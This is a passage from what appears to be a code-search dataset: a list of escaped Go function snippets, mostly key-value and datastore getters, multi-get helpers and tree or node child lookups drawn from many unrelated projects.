*Composite) GetChildren() []Node {\n\treturn append([]Node{}, c.Children...)\n}","func (mavls *Store) Get(datas *types.StoreGet) [][]byte {\r\n\tvar tree *mavl.Tree\r\n\tvar err error\r\n\tvalues := make([][]byte, len(datas.Keys))\r\n\tsearch := string(datas.StateHash)\r\n\tif data, ok := mavls.trees.Load(search); ok && data != nil {\r\n\t\ttree = data.(*mavl.Tree)\r\n\t} else {\r\n\t\ttree = mavl.NewTree(mavls.GetDB(), true)\r\n\t\t//get接口也应该传入高度\r\n\t\t//tree.SetBlockHeight(datas.Height)\r\n\t\terr = tree.Load(datas.StateHash)\r\n\t\tmlog.Debug(\"store mavl get tree\", \"err\", err, \"StateHash\", common.ToHex(datas.StateHash))\r\n\t}\r\n\tif err == nil {\r\n\t\tfor i := 0; i < len(datas.Keys); i++ {\r\n\t\t\t_, value, exit := tree.Get(datas.Keys[i])\r\n\t\t\tif exit {\r\n\t\t\t\tvalues[i] = value\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}","func (self *BTrie) Get(key []byte) (value interface{}) {\n\tif res, isMatch := self.drillDown(key, nil, nil); isMatch {\n\t\treturn res.leaf.value\n\t}\n\treturn nil\n}","func (c *lazyClient) getNode(key string) (*etcd.Node, error) {\n\tfor k, n := range c.nodes {\n\t\tif strings.HasPrefix(key, k) {\n\t\t\treturn c.findNode(key, n)\n\t\t}\n\t}\n\tresponse, err := c.c.Get(key, true, true)\n\tif err != nil {\n\t\treturn nil, convertErr(err)\n\t}\n\tc.nodes[key] = response.Node\n\treturn c.findNode(key, response.Node)\n}","func (g *Graph) get(key string) *Node {\n\treturn g.nodes[key]\n}","func (bc *MemoryCache) GetMulti(names []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, name := range names {\n\t\trc = append(rc, bc.Get(name))\n\t}\n\treturn rc\n}","func (bc *MemoryCache) GetMulti(names []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, name := range names {\n\t\trc = append(rc, bc.Get(name))\n\t}\n\treturn rc\n}","func (nm *nodeMap) get(n node) *node {\n\tnm.Lock()\n\tm, ok := nm.nodes[n.hash]\n\tnm.Unlock()\n\n\tif !ok {\n\t\tm = &node{\n\t\t\thash: n.hash,\n\t\t\tstate: n.state,\n\t\t}\n\n\t\tnm.Lock()\n\t\tnm.nodes[n.hash] = m\n\t\tnm.Unlock()\n\t}\n\n\treturn m\n}","func (t *TreeStorage) Read(ctx context.Context, ids []compact.NodeID) ([][]byte, error) {\n\tkeys := make([]spanner.KeySet, 0, len(ids))\n\tfor _, id := range ids {\n\t\tkeys = append(keys, spanner.Key{t.id, t.opts.shardID(id), packNodeID(id)})\n\t}\n\tkeySet := spanner.KeySets(keys...)\n\thashes := make([][]byte, 0, len(ids))\n\n\titer := t.c.Single().Read(ctx, \"TreeNodes\", keySet, []string{\"NodeHash\"})\n\tif err := iter.Do(func(r *spanner.Row) error {\n\t\tvar hash []byte\n\t\tif err := r.Column(0, &hash); err != nil {\n\t\t\treturn err\n\t\t}\n\t\thashes = append(hashes, hash)\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn hashes, nil\n}","func (p *CassandraClient) MultigetSlice(keys [][]byte, column_parent *ColumnParent, predicate *SlicePredicate, consistency_level ConsistencyLevel) (r map[string][]*ColumnOrSuperColumn, err error) {\n\tif err = p.sendMultigetSlice(keys, column_parent, predicate, consistency_level); err != nil {\n\t\treturn\n\t}\n\treturn p.recvMultigetSlice()\n}","func multiGetTags(ctx context.Context, keys []*datastore.Key, cb func(*datastore.Key, *model.Tag) error) error {\n\ttags := make([]model.Tag, len(keys))\n\tfor i, k := range keys {\n\t\ttags[i] = model.Tag{\n\t\t\tID: k.StringID(),\n\t\t\tInstance: k.Parent(),\n\t\t}\n\t}\n\n\terrAt := func(idx int) error { return nil }\n\tif err := datastore.Get(ctx, tags); err != nil {\n\t\tmerr, ok := err.(errors.MultiError)\n\t\tif !ok {\n\t\t\treturn errors.Annotate(err, \"GetMulti RPC error when fetching %d tags\", len(tags)).Tag(transient.Tag).Err()\n\t\t}\n\t\terrAt = func(idx int) error { return merr[idx] }\n\t}\n\n\tfor i, t := range tags {\n\t\tswitch err := errAt(i); {\n\t\tcase err == datastore.ErrNoSuchEntity:\n\t\t\tcontinue\n\t\tcase err != nil:\n\t\t\treturn errors.Annotate(err, \"failed to fetch tag entity with key %s\", keys[i]).Err()\n\t\t}\n\t\tif err := cb(keys[i], &t); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (p NodeSet) Child() NodeSet {\n\tif p.Err != nil {\n\t\treturn p\n\t}\n\treturn NodeSet{Data: &childNodes{p.Data}}\n}","func initChilds(values map[string]interface{}) map[string]interface{} {\r\n\ttypeName := values[\"TYPENAME\"].(string)\r\n\tstoreId := typeName[0:strings.Index(typeName, \".\")]\r\n\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\r\n\tfor i := 0; i < len(prototype.Fields); i++ {\r\n\t\tif strings.HasPrefix(prototype.Fields[i], \"M_\") {\r\n\t\t\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \"xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"[]xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"enum:\")\r\n\t\t\tif !isBaseType {\r\n\t\t\t\tisRef := strings.HasSuffix(prototype.FieldsType[i], \":Ref\") || strings.HasSuffix(prototype.Fields[i], \"Ptr\")\r\n\t\t\t\tif !isRef {\r\n\t\t\t\t\tv := reflect.ValueOf(values[prototype.Fields[i]])\r\n\t\t\t\t\t// In case of an array of references.\r\n\t\t\t\t\tif v.IsValid() {\r\n\t\t\t\t\t\tif v.Type().Kind() == reflect.Slice {\r\n\t\t\t\t\t\t\tfor j := 0; j < v.Len(); j++ {\r\n\t\t\t\t\t\t\t\tif v.Index(j).Type().Kind() == reflect.Interface {\r\n\t\t\t\t\t\t\t\t\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\r\n\t\t\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\r\n\t\t\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// In case of a reference.\r\n\t\t\t\t\t\t\tif v.Type().Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t// Here I will test if the value is a valid reference.\r\n\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.String()) {\r\n\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.String())\r\n\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]] = v_\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}","func (db *DumbDB) GetMultiple(keys [][]byte, bucket string) (values [][]byte, err error) {\n\n\terr = db.dbP.View(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket([]byte(bucket))\n\t\tif bkt == nil {\n\t\t\tdb.err_log.Println(\"Bucket not created yet.\")\n\t\t\treturn bolt.ErrBucketNotFound\n\t\t}\n\n\t\tfor _, key := range keys {\n\t\t\tvalue := bkt.Get(key)\n\t\t\tif value != nil {\n\t\t\t\tvalues = append(values, value)\n\t\t\t} else {\n\t\t\t\tdb.err_log.Println(\"Could not find value for key:%s\", key)\n\t\t\t\tvalues = nil\n\t\t\t\treturn bolt.ErrInvalid\n\t\t\t}\n\t\t}\n\t\t// Will return empty array if no error occurred\n\t\treturn nil\n\t})\n\treturn\n}","func Retrieve(t *testing.T, tp *Tapestry) {\n\ttp.Lock()\n\tkey, _, err1 := tp.RandKey()\n\tnode, _, err2 := tp.RandNode()\n\n\t//tests get functionality\n\tif err1 == nil && err2 == nil {\n\t\tblob, err := node.Get(key)\n\t\tif err != nil {\n\t\t\tErrorPrintf(t, \"%v during get %v (hash %v) from %v\", err, key, Hash(key), node)\n\t\t} else if !bytes.Equal(blob, tp.Blobs[key]) {\n\t\t\tt.Errorf(\"Data corruption during get %v (hash %v) from %v\", key, Hash(key), node)\n\t\t} else {\n\t\t\tOut.Printf(\"Get of key %v (hash %v) successful from %v\", key, Hash(key), node)\n\t\t}\n\t}\n\ttp.Unlock()\n}","func (rc *Store) GetMulti(keys []string) [][]byte {\n\tvar rv [][]byte\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\tmv, err := rc.conn.GetMulti(keys)\n\tif err == nil {\n\t\tfor _, v := range mv {\n\t\t\trv = append(rv, v.Value)\n\t\t}\n\t\treturn rv\n\t}\n\treturn rv\n}","func (c *rawBridge) childLookup(out *fuse.EntryOut, n *Inode, context *fuse.Context) {\n\tn.Node().GetAttr((*fuse.Attr)(&out.Attr), n.Fileinfo(), context)\n\tn.mount.fillEntry(out)\n\n\tout.NodeId, out.Generation = inodeMap.Register(&n.handled)\n\tn.EventNodeUsed()\n\tif Debug {\n\t\tglog.V(0).Infoln(n.fileinfo.Name, \" childLookup,Register,EventNodeUsed\", out.NodeId, \" count:\", n.handled.count)\n\t}\n\tc.fsConn().verify()\n\tif out.Ino == 0 {\n\t\tout.Ino = out.NodeId\n\t}\n\tif out.Nlink == 0 {\n\t\t// With Nlink == 0, newer kernels will refuse link\n\t\t// operations.\n\t\tout.Nlink = 1\n\t}\n}","func (n NamespacedMerkleTree) Get(nID namespace.ID) [][]byte {\n\t_, start, end := n.foundInRange(nID)\n\treturn n.leaves[start:end]\n}","func (nemo *NEMO) HGetall(key []byte) ([][]byte, [][]byte, error) {\n\tvar n C.int\n\tvar fieldlist **C.char\n\tvar fieldlistlen *C.size_t\n\tvar vallist **C.char\n\tvar vallistlen *C.size_t\n\tvar cErr *C.char\n\tC.nemo_HGetall(nemo.c, goByte2char(key), C.size_t(len(key)), &n, &fieldlist, &fieldlistlen, &vallist, &vallistlen, &cErr)\n\tif cErr != nil {\n\t\tres := errors.New(C.GoString(cErr))\n\t\tC.free(unsafe.Pointer(cErr))\n\t\treturn nil, nil, res\n\t}\n\n\tif n == 0 {\n\t\treturn nil, nil, nil\n\t}\n\treturn cstr2GoMultiByte(int(n), fieldlist, fieldlistlen), cstr2GoMultiByte(int(n), vallist, vallistlen), nil\n}","func (kvConn *KVConn) GetChildren(node string, parentHash string) (children []string) {\n\t// TODO\n\tlogger.Printf(\"GetChildren - Node %v ParentHash %v\\n\", node, parentHash)\n\targs := &types.GetChildrenArgs{Node: node, ParentHash: parentHash}\n\tvar reply types.GetChildrenReply\n\tfor i, n := range kvConn.nodes {\n\t\tif n == node {\n\t\t\tcall := kvConn.clients[i].Go(\"ClientServer.GetChildren\", args, &reply, nil)\n\t\t\tselect {\n\t\t\tcase <-call.Done:\n\t\t\t\treturn reply.Children\n\t\t\tcase <-time.After(2 * time.Second):\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn []string{\"\"}\n}","func (n *metadataNode) traverse(md []*api.PrefixMetadata, cb func(*metadataNode, []*api.PrefixMetadata) (bool, error)) error {\n\tn.assertFrozen()\n\n\tif md == nil {\n\t\tmd = n.metadata() // calculate from scratch\n\t} else {\n\t\tif n.md != nil {\n\t\t\tmd = append(md, n.md) // just extend what we have\n\t\t}\n\t}\n\n\tswitch cont, err := cb(n, md); {\n\tcase err != nil:\n\t\treturn err\n\tcase !cont:\n\t\treturn nil\n\t}\n\n\tkeys := make([]string, 0, len(n.children))\n\tfor k := range n.children {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\n\tfor _, k := range keys {\n\t\tif err := n.children[k].traverse(md, cb); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func d13getBranches(node *d13nodeT, branch *d13branchT, parVars *d13partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d13maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d13maxNodes] = *branch\n\tparVars.branchCount = d13maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d13maxNodes+1; index++ {\n\t\tparVars.coverSplit = d13combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d13calcRectVolume(&parVars.coverSplit)\n}","func (client *MemcachedClient4T) Gets(key string) (item common.Item, err error) {\n\titems, err := client.parse.Retrieval(\"gets\", []string{key})\n\n\tif err == nil {\n\t\tvar ok bool\n\t\tif item, ok = items[key]; !ok {\n\t\t\terr = fmt.Errorf(\"Memcached : no data error\")\n\t\t}\n\t}\n\n\treturn\n}","func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\n\tvar err error\n\tvar returnErr error = nil\n\tvar returnRes *pb.GetResponse\n\tvar res *clientv3.GetResponse\n\tvar val string\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tkey := req.GetKey()\n\tswitch req.GetType() {\n\tcase utils.LocalData:\n\t\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\n\t\t// log.Println(\"All local keys in this edge group\")\n\t\t// log.Println(s.localSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\tcase utils.GlobalData:\n\t\tisHashed := req.GetIsHashed()\n\t\tif s.gateway == nil {\n\t\t\treturn returnRes, fmt.Errorf(\"RangeGet request failed: gateway node not initialized at the edge\")\n\t\t}\n\t\tstate, err := s.gateway.GetStateRPC()\n\t\tif err != nil {\n\t\t\treturn returnRes, fmt.Errorf(\"failed to get state of gateway node\")\n\t\t}\n\t\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\n\t\t\treturn returnRes, fmt.Errorf(\"edge node %s not connected to dht yet or gateway node not ready\", s.print())\n\t\t}\n\t\t// log.Println(\"All global keys in this edge group\")\n\t\t// log.Println(s.globalSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\t\tif !isHashed {\n\t\t\tkey = s.gateway.Conf.IDFunc(key)\n\t\t}\n\t\tans, er := s.gateway.CanStoreRPC(key)\n\t\tif er != nil {\n\t\t\tlog.Fatalf(\"Get request failed: communication with gateway node failed\")\n\t\t}\n\t\tif ans {\n\t\t\tres, err = s.globalSt.Get(ctx, key)\n\t\t} else {\n\t\t\tval, err = s.gateway.GetKVRPC(key)\n\t\t}\n\t}\n\t// cancel()\n\treturnErr = checkError(err)\n\tif (res != nil) && (returnErr == nil) {\n\t\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\n\t\tif len(res.Kvs) > 0 {\n\t\t\tkv := res.Kvs[0]\n\t\t\tval = string(kv.Value)\n\t\t\t// log.Printf(\"Key: %s, Value: %s\\n\", kv.Key, kv.Value)\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t} else {\n\t\t\treturnErr = status.Errorf(codes.NotFound, \"Key Not Found: %s\", req.GetKey())\n\t\t}\n\t} else {\n\t\tif returnErr == nil {\n\t\t\t// we already have the value from a remote group\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t}\n\t}\n\treturn returnRes, returnErr\n}","func (c Redis) GetMulti(keys ...string) ([]cache.Item, error) {\n\tval, err := c.conn.MGet(keys...).Result()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ti := []cache.Item{}\n\tfor _, v := range val {\n\t\tvar err = cache.ErrCacheMiss\n\t\tvar b []byte\n\t\tif v != nil {\n\t\t\tb = []byte(v.(string))\n\t\t\terr = nil\n\t\t}\n\n\t\ti = append(i, cache.NewItem(c.dec, b, err))\n\t}\n\n\treturn i, nil\n}","func GetChildren(db *sql.DB, id int64) ([]Node, error) {\n\tvar sql bytes.Buffer\n\tsql.WriteString(selectSQL)\n\tsql.WriteString(\"pid=?\")\n\n\trows, err := query(db, sql.String(), id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchildren := make([]Node, 0, len(rows))\n\tfor _, r := range rows {\n\t\tchildren = append(children, Node{\n\t\t\tID: atoi64(r[\"id\"]),\n\t\t\tNode: r[\"node\"],\n\t\t\tParentID: atoi64(r[\"pid\"]),\n\t\t\tDepth: atoi(r[\"depth\"]),\n\t\t\tNumChildren: (atoi(r[\"rgt\"]) - atoi(r[\"lft\"]) - 1) / 2,\n\t\t})\n\t}\n\treturn children, nil\n}","func (memtable *Memtable) Get(data Comparable) Comparable {\n\treturn get(memtable.Root, data)\n}","func (db *DB) Get(key string, bucket ...string) Value {\n\tdb.mux.RLock()\n\tdefer db.mux.RUnlock()\n\tb := &db.root\n\tfor _, bn := range bucket {\n\t\tif b = b.Buckets[bn]; b == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn b.Get(key)\n}","func Get() []Metric {\n\tsingleton.mu.Lock()\n\thosts := singleton.hosts\n\tsingleton.mu.Unlock()\n\n\treturn hosts\n}","func (entries Entries) get(key uint64) Entry {\n\ti := entries.search(key)\n\tif i == len(entries) {\n\t\treturn nil\n\t}\n\n\tif entries[i].Key() == key {\n\t\treturn entries[i]\n\t}\n\n\treturn nil\n}","func (local *Node) Get(key string) ([]byte, error) {\n\t// Lookup the key\n\treplicas, err := local.Lookup(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(replicas) == 0 {\n\t\treturn nil, fmt.Errorf(\"No replicas returned for key %v\", key)\n\t}\n\n\t// Contact replicas\n\tvar errs []error\n\tfor _, replica := range replicas {\n\t\tblob, err := replica.BlobStoreFetchRPC(key)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t\tif blob != nil {\n\t\t\treturn *blob, nil\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"Error contacting replicas, %v: %v\", replicas, errs)\n}","func (c *RolesChanges) get(id uint64) *client.NodeInfo {\n\tfor node := range c.State {\n\t\tif node.ID == id {\n\t\t\treturn &node\n\t\t}\n\t}\n\treturn nil\n}","func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\n\tsnap := s.db.NewSnapshot()\n\topts := gorocksdb.NewDefaultReadOptions()\n\topts.SetSnapshot(snap)\n\n\tdefer func() {\n\t\ts.db.ReleaseSnapshot(snap)\n\t\topts.Destroy()\n\t}()\n\n\tvals := make([][]byte, len(keys))\n\tfor i, key := range keys {\n\t\tb, err := s.db.GetBytes(opts, key)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvals[i] = b\n\t}\n\n\treturn vals, nil\n}","func (l *DList) get(i int) *dnode {\n\tif i < l.n/2 {\n\t\tn := l.r.n\n\t\tfor j := 0; j < i; j++ {\n\t\t\tn = n.n\n\t\t}\n\t\treturn n\n\t}\n\tn := l.r\n\tfor j := l.n; j > i; j-- {\n\t\tn = n.p\n\t}\n\treturn n\n}","func (*GetField) Children() []sql.Expression {\n\treturn nil\n}","func (c *typeReflectCache) get() reflectCacheMap {\n\treturn c.value.Load().(reflectCacheMap)\n}","func (k Keeper) get(store sdk.KVStore, resourceHash hash.Hash) (*ownership.Ownership, error) {\n\titer := store.Iterator(nil, nil)\n\tvar own *ownership.Ownership\n\tfor iter.Valid() {\n\t\tif err := k.cdc.UnmarshalBinaryLengthPrefixed(iter.Value(), &own); err != nil {\n\t\t\treturn nil, sdkerrors.Wrapf(sdkerrors.ErrJSONUnmarshal, err.Error())\n\t\t}\n\t\tif own.ResourceHash.Equal(resourceHash) {\n\t\t\titer.Close()\n\t\t\treturn own, nil\n\t\t}\n\t\titer.Next()\n\t}\n\titer.Close()\n\treturn nil, nil\n}","func (me *BST) Get(k Comparable) interface{} {\n if node := bstGet(me.root, k); node != nil {\n return node.value\n }\n return nil\n}","func (self *BpNode) put(key types.Hashable, value interface{}) (root *BpNode, err error) {\n\ta, b, err := self.insert(key, value)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if b == nil {\n\t\treturn a, nil\n\t}\n\t// else we have root split\n\troot = NewInternal(self.NodeSize())\n\troot.put_kp(a.keys[0], a)\n\troot.put_kp(b.keys[0], b)\n\treturn root, nil\n}","func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\n\tvar values [][]byte\n\tfor _, key := range keys {\n\t\tvalues = append(values, s.kv.Get(key))\n\t}\n\n\treturn values, nil\n}","func (n *Node) Get(key string) *Node {\n\tfor _, node := range n.nodes {\n\t\tif node.key == key {\n\t\t\treturn node\n\t\t}\n\t}\n\treturn nil\n}","func (t *strideTable[T]) getOrCreateChild(addr uint8) *strideTable[T] {\n\tidx := hostIndex(addr)\n\tif t.entries[idx].child == nil {\n\t\tt.entries[idx].child = new(strideTable[T])\n\t\tt.refs++\n\t}\n\treturn t.entries[idx].child\n}","func GetMulti(ctx context.Context, kx interface{}) (RoleTypes, error) {\n\trts := make(RoleTypes)\n\tif kx, ok := kx.([]*datastore.Key); ok {\n\t\trtx := make([]*RoleType, len(kx))\n\t\t// RETURNED ENTITY LIMIT COULD BE A PROBLEM HERE !!!!!!!!!!!!!!!!!!!!!!!!!!\n\t\terr := datastore.GetMulti(ctx, kx, rtx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor i, v := range rtx {\n\t\t\tv.ID = kx[i].StringID()\n\t\t\trts[v.ID] = v\n\t\t}\n\t\treturn rts, err\n\t}\n\tq := datastore.NewQuery(\"RoleType\").\n\t\tOrder(\"-Created\")\n\tfor it := q.Run(ctx); ; {\n\t\trt := new(RoleType)\n\t\tk, err := it.Next(rt)\n\t\tif err == datastore.Done {\n\t\t\treturn rts, err\n\t\t}\n\t\tif err != nil {\n\t\t\treturn rts, err\n\t\t}\n\t\trt.ID = k.StringID()\n\t\trts[rt.ID] = rt\n\t}\n}","func (s *Server) Get(ctx context.Context, req *datapb.GetReq) (*datapb.GetResp, error) {\n\tinstance := s.getGroupInstance(req.GroupId)\n\tif instance == nil {\n\t\treturn nil, errors.New(fmt.Sprintf(\"group %s not found\", req.GroupId))\n\t}\n\tinstance.RLock()\n\tdefer instance.RUnlock()\n\tif instance.status != PRIMARY {\n\t\treturn nil, errors.New(fmt.Sprintf(\"not leader, leader is %s\", instance.primary))\n\t}\n\t// commit at once, so no need to check commit sn\n\tv, err := instance.engine.Get(encodeDataKey(req.Key))\n\treturn &datapb.GetResp{\n\t\tValue: v,\n\t}, err\n}","func (t *ArtNodeMinerRPC) GetChildrenRPC(args *shared.Args, reply *shared.GetChildrenReply) error {\n\t// TODO change blocks into existingBlockHashes eventually\n\tfmt.Println(\"Get Children RPC\")\n\tfmt.Println(childrenMap)\n\t_, ok := childrenMap[args.BlockHash]\n\tif !ok {\n\t\t// if does not exists return empty reply\n\t\treturn nil\n\t}\n\t// loop through list of blocks\n\treply.Data = childrenMap[args.BlockHash]\n\treply.Found = true\n\treturn nil\n}","func (m *Map) MGet(dots []Dot) map[Dot]*Container {\n\titems := make(map[Dot]*Container)\n\n\tfor _, dot := range dots {\n\t\tif !m.area.ContainsDot(dot) {\n\t\t\tcontinue\n\t\t}\n\n\t\tp := atomic.LoadPointer(m.fields[dot.Y][dot.X])\n\t\tif !fieldIsEmpty(p) {\n\t\t\tcontainer := (*Container)(p)\n\t\t\titems[dot] = container\n\t\t}\n\t}\n\n\treturn items\n}","func (t *Transaction) GetMulti(keys []*datastore.Key, dst interface{}) (err error) {\n\treturn t.txn.GetMulti(keys, dst)\n}","func (ck *Clerk) Get(key string) string {\n\targs := GetArgs{}\n\targs.Key = key\n\targs.ClientID = ck.clientID\n\targs.RequestID = ck.currentRPCNum\n\n\n\tfor {\n\t\tshard := key2shard(key)\n\t\tgid := ck.config.Shards[shard]\n\t\t// If the gid exists in our current stored configuration. \n\t\tif servers, ok := ck.config.Groups[gid]; ok {\n\t\t\t// try each server for the shard.\n\n\t\t\t\tselectedServer := ck.getRandomServer(gid)\n\t\t\t\tsrv := ck.make_end(servers[selectedServer])\n\t\t\t\t\n\t\t\t\tvar reply GetReply\n\t\t\t\tok := ck.sendRPC(srv, \"ShardKV.Get\", &args, &reply)\n\n\t\t\t\t// Wrong Leader (reset stored leader)\n\t\t\t\tif !ok || (ok && reply.WrongLeader == true) {\n\t\t\t\t\tck.currentLeader[gid] = -1\n\t\t\t\t}\n\n\t\t\t\t// Correct Leader\n\t\t\t\tif ok && reply.WrongLeader == false {\n\t\t\t\t\t//Update stored Leader\n\t\t\t\t\tck.currentLeader[gid] = selectedServer\n\n\t\t\t\t\t// Handle successful reply\n\t\t\t\t\tif (reply.Err == OK || reply.Err == ErrNoKey) {\n\t\t\t\t\t\tck.DPrintf1(\"Action: Get completed. Sent Args => %+v, Received Reply => %+v \\n\", args, reply)\n\t\t\t\t\t\t// RPC Completed so increment the RPC count by 1.\n\t\t\t\t\t\tck.currentRPCNum = ck.currentRPCNum + 1\n\n\n\t\t\t\t\t\treturn reply.Value\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Handle situation where wrong group.\n\t\t\t\tif ok && (reply.Err == ErrWrongGroup) {\n\t\t\t\t\t// ask master for the latest configuration.\n\t\t\t\t\tck.config = ck.sm.Query(-1)\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t}\n\n\t\t} else {\n\t\t\t// ask master for the latest configuration.\n\t\t\tck.config = ck.sm.Query(-1)\n\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t}\n\t}\n\n\tck.DError(\"Return from Get in ShardKV Client. Should never return from here.\")\n\treturn \"\"\n}","func (p TreeWriter) getFields(leaf *yaml.RNode) (treeFields, error) {\n\tfieldsByName := map[string]*treeField{}\n\n\t// index nested and non-nested fields\n\tfor i := range p.Fields {\n\t\tf := p.Fields[i]\n\t\tseq, err := leaf.Pipe(&f)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif seq == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif fieldsByName[f.Name] == nil {\n\t\t\tfieldsByName[f.Name] = &treeField{name: f.Name}\n\t\t}\n\n\t\t// non-nested field -- add directly to the treeFields list\n\t\tif f.SubName == \"\" {\n\t\t\t// non-nested field -- only 1 element\n\t\t\tval, err := yaml.String(seq.Content()[0], yaml.Trim, yaml.Flow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tfieldsByName[f.Name].value = val\n\t\t\tcontinue\n\t\t}\n\n\t\t// nested-field -- create a parent elem, and index by the 'match' value\n\t\tif fieldsByName[f.Name].subFieldByMatch == nil {\n\t\t\tfieldsByName[f.Name].subFieldByMatch = map[string]treeFields{}\n\t\t}\n\t\tindex := fieldsByName[f.Name].subFieldByMatch\n\t\tfor j := range seq.Content() {\n\t\t\telem := seq.Content()[j]\n\t\t\tmatches := f.Matches[elem]\n\t\t\tstr, err := yaml.String(elem, yaml.Trim, yaml.Flow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// map the field by the name of the element\n\t\t\t// index the subfields by the matching element so we can put all the fields for the\n\t\t\t// same element under the same branch\n\t\t\tmatchKey := strings.Join(matches, \"/\")\n\t\t\tindex[matchKey] = append(index[matchKey], &treeField{name: f.SubName, value: str})\n\t\t}\n\t}\n\n\t// iterate over collection of all queried fields in the Resource\n\tfor _, field := range fieldsByName {\n\t\t// iterate over collection of elements under the field -- indexed by element name\n\t\tfor match, subFields := range field.subFieldByMatch {\n\t\t\t// create a new element for this collection of fields\n\t\t\t// note: we will convert name to an index later, but keep the match for sorting\n\t\t\telem := &treeField{name: match}\n\t\t\tfield.matchingElementsAndFields = append(field.matchingElementsAndFields, elem)\n\n\t\t\t// iterate over collection of queried fields for the element\n\t\t\tfor i := range subFields {\n\t\t\t\t// add to the list of fields for this element\n\t\t\t\telem.matchingElementsAndFields = append(elem.matchingElementsAndFields, subFields[i])\n\t\t\t}\n\t\t}\n\t\t// clear this cached data\n\t\tfield.subFieldByMatch = nil\n\t}\n\n\t// put the fields in a list so they are ordered\n\tfieldList := treeFields{}\n\tfor _, v := range fieldsByName {\n\t\tfieldList = append(fieldList, v)\n\t}\n\n\t// sort the fields\n\tsort.Sort(fieldList)\n\tfor i := range fieldList {\n\t\tfield := fieldList[i]\n\t\t// sort the elements under this field\n\t\tsort.Sort(field.matchingElementsAndFields)\n\n\t\tfor i := range field.matchingElementsAndFields {\n\t\t\telement := field.matchingElementsAndFields[i]\n\t\t\t// sort the elements under a list field by their name\n\t\t\tsort.Sort(element.matchingElementsAndFields)\n\t\t\t// set the name of the element to its index\n\t\t\telement.name = fmt.Sprintf(\"%d\", i)\n\t\t}\n\t}\n\n\treturn fieldList, nil\n}","func MGets(keys []string) map[uint16]Completed {\n\treturn slotMCMDs(\"MGET\", keys, mtGetTag)\n}","func (r *etcdRepository) get(ctx context.Context, key string) (*etcd.GetResponse, error) {\n\tresp, err := r.client.Get(ctx, key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get value failure for key[%s], error:%s\", key, err)\n\t}\n\treturn resp, nil\n}","func (d 